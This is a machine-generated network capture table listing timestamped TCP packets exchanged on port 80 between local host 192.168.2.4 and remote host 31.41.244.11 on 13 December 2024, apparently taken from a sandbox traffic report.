Dec 13, 2024 01:51:29.023792028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.023792028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.023792028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.023880959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.024879932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.025115013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.025126934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.025166035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.025177956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.025214911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.026031971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.026189089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.026196003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.026273966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.027036905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.027151108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.027225018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.027225971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.028016090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.028069019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.028095007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.028146982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.029057980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.029114008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.029155016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.029206991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.030026913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.030076027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.030147076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.030195951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.031759977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.031814098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.031900883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.031950951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.032036066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.032088041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.032159090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.032207966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.032998085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.033049107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.033123016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.033170938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.034015894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.034070015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.034142017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.034190893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.035027981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.035121918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.035149097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.035198927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.036004066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.036055088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.036127090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.036176920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.037031889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.037082911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.037265062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.037314892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.037961960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.038013935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.038136005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.038180113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.038975954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.039025068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.039098024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.039148092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.040023088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.040061951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.040071964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.040112019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.040982962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.041033030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.041105986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.041156054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.041984081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.042033911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.042104006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.042152882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.042959929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.043009043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.043082952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.043131113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.043967009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.044015884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.044100046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.044147968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.044996023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.045044899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.045170069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.045222044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.045967102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.046015978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.046086073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.046133995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.046948910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.047003984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.047074080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.047137022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.047945976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.048001051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.048069000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.048135042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.048943043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.049001932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.049082994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.049139023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.050143957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.050213099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.050252914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.050302982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.051081896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.051136017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.051158905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.051208973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.051934004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.051981926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.052042961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.052089930 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.052934885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.052982092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.053040981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.053087950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.053916931 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.053965092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.054047108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.054096937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.054950953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.054997921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.055018902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.055078030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.055959940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.056008101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.056061029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.056112051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.056926012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.056974888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.057035923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.057084084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.057939053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.057987928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.058167934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.058216095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.058926105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.058976889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.059021950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.059071064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.059926987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.059973955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.060045004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.060092926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.061005116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.061053038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.061096907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.061144114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.061875105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.061922073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.062025070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.062069893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.062889099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.062937021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.062947035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.062994003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.063908100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.063956022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.064033985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.064080000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.064924002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.064971924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.065021992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.065068960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.065893888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.065964937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.066042900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.066090107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.066871881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.066917896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.066957951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.067003965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.067859888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.067908049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.067958117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.068003893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.068849087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.068901062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.068949938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.068996906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.069845915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.069894075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.069972038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.070018053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.070883036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.070930004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.071011066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.071057081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.071856976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.071902990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.071955919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.072001934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.072849989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.072896004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.072946072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.072992086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.073885918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.073937893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.074007034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.074058056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.074882030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.074934006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.074950933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.075002909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.215578079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.215641022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.215820074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.215820074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.215877056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.215958118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.216001987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.216193914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.216813087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.216870070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.216929913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.216984034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.217787981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.217853069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.217861891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.217919111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.218802929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.218861103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.218878984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.218950033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.219750881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.219818115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.219856977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.219906092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.220731974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.220794916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.220860958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.220909119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.221744061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.221806049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.221857071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.221908092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.222721100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.222775936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.222841024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.222889900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.223712921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.223773003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.223808050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.223854065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.224720001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.224777937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.224831104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.224880934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.225714922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.225768089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.225817919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.225867987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.226702929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.226774931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.226813078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.226860046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.227699041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.227746010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.227790117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.227837086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.228710890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.228763103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.228806019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.228853941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.229698896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.229748964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.229793072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.229840040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.230699062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.230756044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.230878115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.230931997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.231698990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.231758118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.231817961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.231877089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.232688904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.232747078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.232794046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.232850075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.233691931 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.233752012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.233798981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.233849049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.234704971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.234759092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.234814882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.234863997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.235713959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.235806942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.235815048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.235872030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.236684084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.236742973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.236819983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.236871958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.237690926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.237750053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.237790108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.237838984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.238666058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.238724947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.238785982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.238836050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.239689112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.239753008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.239794016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.239845991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.240670919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.240732908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.240787029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.240838051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.241697073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.241754055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.241771936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.241823912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.242676973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.242729902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.242796898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.242850065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.243678093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.243729115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.243789911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.243841887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.244685888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.244745016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.245006084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.245059967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.245914936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.245968103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.245985031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.246011972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.246659994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.246711969 CET	49809	80	192.168.2.4	31.41.244.11
